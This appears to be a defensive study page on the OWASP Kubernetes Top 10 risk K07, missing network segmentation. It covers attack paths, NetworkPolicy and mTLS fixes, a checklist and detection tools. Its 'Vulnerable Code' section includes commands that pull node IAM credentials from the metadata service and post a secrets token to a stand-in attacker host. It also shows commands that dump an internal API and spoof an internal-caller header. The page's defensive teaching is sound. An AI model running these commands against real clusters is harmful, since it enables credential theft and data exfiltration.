K07: Missing Network Segmentation Controls

📋 What Is It?

Missing Network Segmentation is the failure to restrict which pods, namespaces, and external endpoints can talk to one another. By default a Kubernetes cluster is a flat, fully-connected network: every pod can reach every other pod, in every namespace, on every port - plus the internet and the cloud metadata service. Segmentation is opt-in: you must author NetworkPolicy objects (and run a CNI that enforces them), or add a service mesh. This is the control that contains a breach - without it, one compromised pod inherits the reachability of the entire cluster.

K07 OWASP Rank

Flat by Default Root Cause

Blast Radius Impact

⚠️ Common Exploits

Internal Recon: cluster DNS + pod CIDR map every reachable service for free
Direct Datastore Access: DB reachable from any pod, not just its API tier
Cross-Namespace Pivot: namespaces are not a network boundary
SSRF-to-Metadata: reach 169.254.169.254 to steal node cloud credentials
Control-Plane Reach: pods route to the API server and kubelet (10250)
Open Egress: unrestricted outbound for C2 and data exfiltration
Impersonation: no mTLS means network position is treated as trust

🔴 Attack Flow

1. Land - code execution in one pod (app vuln, SSRF, supply chain)
↓
2. Discover - enumerate reachable pods, services, DNS, ports
↓
3. Pivot east-west - connect to databases, admin APIs, other namespaces
↓
4. Escalate - reach API server/kubelet; hit metadata for cloud creds
↓
5. IMPACT: Cluster-wide breach, cloud-account theft, exfiltration!

❌ Vulnerable Code

# Bad: no NetworkPolicy at all - the cluster is flat (default-allow)
$ kubectl get networkpolicy -n app-prod
No resources found in app-prod namespace.
# Every pod can reach every pod, every namespace, metadata, the internet.

# Bad: from a compromised frontend pod - direct datastore access
psql postgres://app:pw@orders-db.app-prod.svc:5432/prod

# Bad: namespaces are only a naming boundary, freely cross-reachable
curl http://orders-api.team-b.svc.cluster.local/internal/dump

# Bad: unrestricted egress = cloud credential theft + exfiltration
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -X POST https://attacker.example/c2 -d @/etc/secrets/token

# Bad: no mTLS - the service trusts anything that can route to it
curl http://orders.app-prod.svc/internal/refund -H "X-Internal-Caller: billing"
                

✅ Secure Code

# Good: default-deny ingress AND egress baseline in EVERY namespace
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: app-prod
spec:
  podSelector: {}          ← selects every pod in the namespace
  policyTypes: [Ingress, Egress]   ← deny egress too, not just ingress
  # no rules => nothing allowed; then allow-list each real flow

# Good: scope the database to ONLY its intended caller and port
spec:
  podSelector:
    matchLabels: { app: orders-db }
  policyTypes: [Ingress]
  ingress:
    - from:
        - podSelector:
            matchLabels: { app: orders-api }   ← only orders-api
      ports:
        - { protocol: TCP, port: 5432 }

# Good: allow external egress but EXCLUDE the metadata + internal ranges
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except: [169.254.169.254/32, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16]

# Good: enforce mTLS so identity - not IP - is the trust boundary (Istio)
kind: PeerAuthentication
spec:
  mtls: { mode: STRICT }     ← reject any non-mTLS (unidentified) traffic
                

✓ Prevention Checklist

Run a CNI that actually enforces NetworkPolicy (Calico/Cilium)
Apply a default-deny ingress + egress baseline in every namespace
Allow-list only required flows - including DNS to CoreDNS
Isolate namespaces (same-namespace-only ingress)
Keep dev/staging/prod separated, never allow-listed together
Block egress to 169.254.169.254 (cloud metadata)
Enforce IMDSv2 and right-size the node IAM role
Deny pod egress to kubelet ports (10250) and node IPs
Add a service mesh for mTLS + identity-based policy
Auto-generate the deny baseline for new namespaces (Kyverno)
Enable CNI flow logs and alert on anomalous flows

🔍 Detection & Tools

Kubernetes Tools:

Cilium Calico Hubble kubescape Falco Trivy

Policy Enforcement:

Kyverno OPA/Gatekeeper Istio Linkerd

How to Test:

kubectl get netpol -A - every namespace should have a deny baseline
Apply a deny-all, then confirm a working connection is now refused (proves CNI enforces)
From a test pod, try curl 169.254.169.254 - must be blocked
Sweep pod CIDR for open datastore ports (5432, 6379, 27017)
Run Cilium's connectivity test or scripted probes in CI

🌍 Real-World

Compromised Pod → Cloud Credentials: unrestricted egress lets in-pod code reach 169.254.169.254 and pull the node's IAM credentials - the Kubernetes-native version of the classic SSRF-to-metadata cloud breach.
Cryptomining Worm on a Flat Cluster: publicly analyzed Kubernetes-targeting malware has repeatedly relied on flat-network reachability to scan, find unauthenticated kubelets/datastores, and spread laterally.
Cross-Tenant Reach: shared clusters separated only by namespace, with no policy between them - one tenant's compromise reaches another's data, because namespaces are not a network boundary.

Described as generic, well-documented incident classes - treat any single quoted percentage as illustrative. The durable truth: Kubernetes networking is flat by default.

📌 Quick Tips

DO NOT rely on namespaces for network isolation
DO NOT leave egress unrestricted (metadata + internet)
DO NOT assume policies work without a policy-enforcing CNI
DO apply default-deny ingress + egress everywhere
DO allow-list only the flows the app truly needs
DO block 169.254.169.254 and add mTLS
DO automate the baseline and monitor flow logs

📜 Related Risks

Connected OWASP Kubernetes Top 10:

K06 Broken Authentication - the kubelet/API doors pods reach
K01 Insecure Workload Config - contains pod escape
K03 Overly Permissive RBAC - contains API abuse
K05 Inadequate Logging & Monitoring - flow visibility

🕸️ Missing Network Segmentation Controls